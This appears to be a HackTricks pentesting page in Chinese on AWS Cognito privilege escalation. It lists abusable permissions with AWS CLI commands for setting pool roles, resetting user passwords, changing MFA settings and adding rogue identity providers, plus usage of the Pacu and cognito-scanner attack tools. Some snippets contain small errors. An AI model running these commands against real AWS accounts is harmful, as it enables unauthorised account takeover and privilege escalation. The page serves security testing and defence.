AWS - Cognito Privesc

支持HackTricks

Cognito

有关Cognito的更多信息,请查看:

AWS - Cognito Enum

从身份池中收集凭据

由于Cognito可以向经过身份验证未经身份验证用户授予IAM角色凭据,如果您找到应用程序的身份池ID(应该在应用程序中硬编码),则可以获取新的凭据,从而提升权限(在您之前可能甚至没有任何凭据的AWS帐户中)。

有关更多信息,请查看此页面

潜在影响: 直接提升到附加到未经身份验证用户的服务角色(可能也是附加到经过身份验证用户的角色)。

cognito-identity:SetIdentityPoolRolesiam:PassRole

拥有此权限,您可以将任何Cognito角色授予Cognito应用程序的经过身份验证/未经身份验证的用户。

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

如果Cognito应用程序未启用未经身份验证的用户,您可能还需要权限cognito-identity:UpdateIdentityPool来启用它。

潜在影响: 直接特权升级到任何Cognito角色。

cognito-identity:update-identity-pool

拥有此权限的攻击者可以设置例如一个受他控制的Cognito用户池或任何其他身份提供者,他可以登录为一种访问此Cognito身份池的方式。然后,只需在该用户提供者上登录,就会允许他访问身份池中配置的经过身份验证的角色

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

也可以滥用这个权限来允许基本身份验证

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

潜在影响:妥协身份池内配置的经过身份验证的 IAM 角色。

cognito-idp:AdminAddUserToGroup

此权限允许将 Cognito 用户添加到 Cognito 组,因此攻击者可以滥用此权限将受控用户添加到具有更高特权或不同 IAM 角色的其他组中:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

潜在影响: 提升权限至其他 Cognito 组和附加到用户池组的 IAM 角色。

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

拥有这些权限的攻击者可以使用每个可以被受损 Cognito 身份提供者使用的 IAM 角色创建/更新组,并使受损用户成为该组的一部分,从而访问所有这些角色:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

潜在影响: 特权升级至其他 Cognito IAM 角色。

cognito-idp:AdminConfirmSignUp

此权限允许确认注册。默认情况下,任何人都可以在 Cognito 应用程序中注册,如果保留这一权限,用户可以使用任何数据创建帐户,并通过此权限进行验证。

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

潜在影响: 如果您可以注册一个新用户,则可能会间接提升对已认证用户的身份池 IAM 角色的权限。如果能够确认任何帐户,则可能会间接提升对其他应用功能的权限。

cognito-idp:AdminCreateUser

此权限允许攻击者在用户池内创建新用户。新用户将被创建为已启用状态,但需要更改其密码。

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

潜在影响: 直接提升已认证用户的身份池 IAM 角色权限。间接提升至其他应用功能,能够创建任何用户

cognito-idp:AdminEnableUser

此权限可在一个非常特殊的情况下发挥作用,即攻击者找到了一个已禁用用户的凭据,需要重新启用该用户。

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

潜在影响: 对已验证用户的身份池 IAM 角色进行间接权限提升,如果攻击者拥有已禁用用户的凭据,则还可提升用户权限。

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

此权限允许使用 ADMIN_USER_PASSWORD_AUTH 方法** 进行登录。** 有关更多信息,请查看链接。

cognito-idp:AdminSetUserPassword

此权限允许攻击者更改任何用户的密码,使其能够冒充任何用户(未启用 MFA 的用户)。

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

潜在影响: 直接特权升级,可能访问任何用户,因此可以访问每个用户所属的所有组,并访问身份池经过身份验证的 IAM 角色。

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: 攻击者可能滥用此权限,将自己控制的手机设置为用户的 SMS MFA

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 与前一个权限类似,此权限可用于设置用户的 MFA 首选项,从而绕过 MFA 保护。

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 与前一个权限类似,此权限可用于设置用户池的 MFA 首选项,从而绕过 MFA 保护。

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: 还可以更新用户池以更改 MFA 策略。在此处检查 cli

潜在影响: 对于攻击者知道凭据的任何用户,间接提升权限,这可能允许绕过 MFA 保护。

cognito-idp:AdminUpdateUserAttributes

拥有此权限的攻击者可以更改受其控制的用户的电子邮件、电话号码或任何其他属性,以尝试在底层应用程序中获得更多特权。 这允许更改电子邮件或电话号码并将其设置为已验证。

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

潜在影响: 在使用基于用户属性赋予权限的 Cognito 用户池中,可能会导致底层应用程序的间接权限提升。

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

拥有此权限的攻击者可以创建一个比已存在的池客户端受限制更少的新用户池客户端。例如,新客户端可以允许任何类型的身份验证方法,不需要任何密钥,禁用令牌撤销,允许令牌有效期更长...

如果不是创建新客户端,而是修改现有客户端,也可以实现相同的效果。

命令行(或更新命令)中,您可以查看所有选项,请查看!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

潜在影响: 通过创建一个放宽安全措施的新客户端,可能会对用户池使用的身份池授权用户进行潜在的间接权限提升,使攻击者能够使用他能够创建的用户登录。

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

攻击者可以滥用这个权限,通过上传包含新用户的 csv 文件来创建用户。

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

潜在影响: 直接提升对已认证用户的身份池 IAM 角色的权限。间接提升权限以创建任何用户,从而影响其他应用功能。

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

攻击者可以创建一个新的身份提供者,然后能够通过该提供者进行登录。

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

潜在影响: 直接提升身份池 IAM 角色给经过身份验证的用户。间接提升权限以创建任何用户并访问其他应用功能。

cognito-sync:* 分析

这是 Cognito 身份池角色默认具有的非常常见的权限。即使权限中包含通配符看起来总是不太好(特别是来自 AWS),从攻击者的角度来看,这些权限并不是特别有用

此权限允许读取身份池和身份池内身份 ID 的用户信息(这不是敏感信息)。 身份 ID 可能分配有数据集,其中包含会话信息(AWS 将其定义为已保存的游戏)。这可能包含某种敏感信息(但概率非常低)。您可以在枚举页面找到如何访问这些信息。

攻击者还可以使用这些权限加入到发布这些数据集更改的 Cognito 流触发 Cognito 事件的 Lambda。我还没有看到有人使用这个功能,并且我不认为这里会有敏感信息,但这并非不可能。

自动化工具

  • Pacu,AWS 开发框架,现在包括“cognito__enum”和“cognito__attack”模块,可自动枚举账户中所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,还可根据可修改的自定义属性、可用的身份池凭据、ID 令牌中可假定的角色等自动创建用户(包括 MFA 支持)和权限提升。

有关模块功能的描述,请参阅博客文章的第 2 部分。安装说明请参阅主要Pacu页面。

用法

示例 cognito__attack 用法,尝试创建用户并针对给定身份池和用户池客户端执行所有权限提升向量:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

以下是使用cognito__enum的示例,用于收集当前AWS账户中可见的所有用户池、用户池客户端、身份池、用户等信息:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner 是一个用 Python 编写的 CLI 工具,实现了对 Cognito 的不同攻击,包括特权升级。

安装

$ pip install cognito-scanner

用法

$ cognito-scanner --help

了解更多信息,请查看https://github.com/padok-team/cognito-scanner

支持 HackTricks

Last updated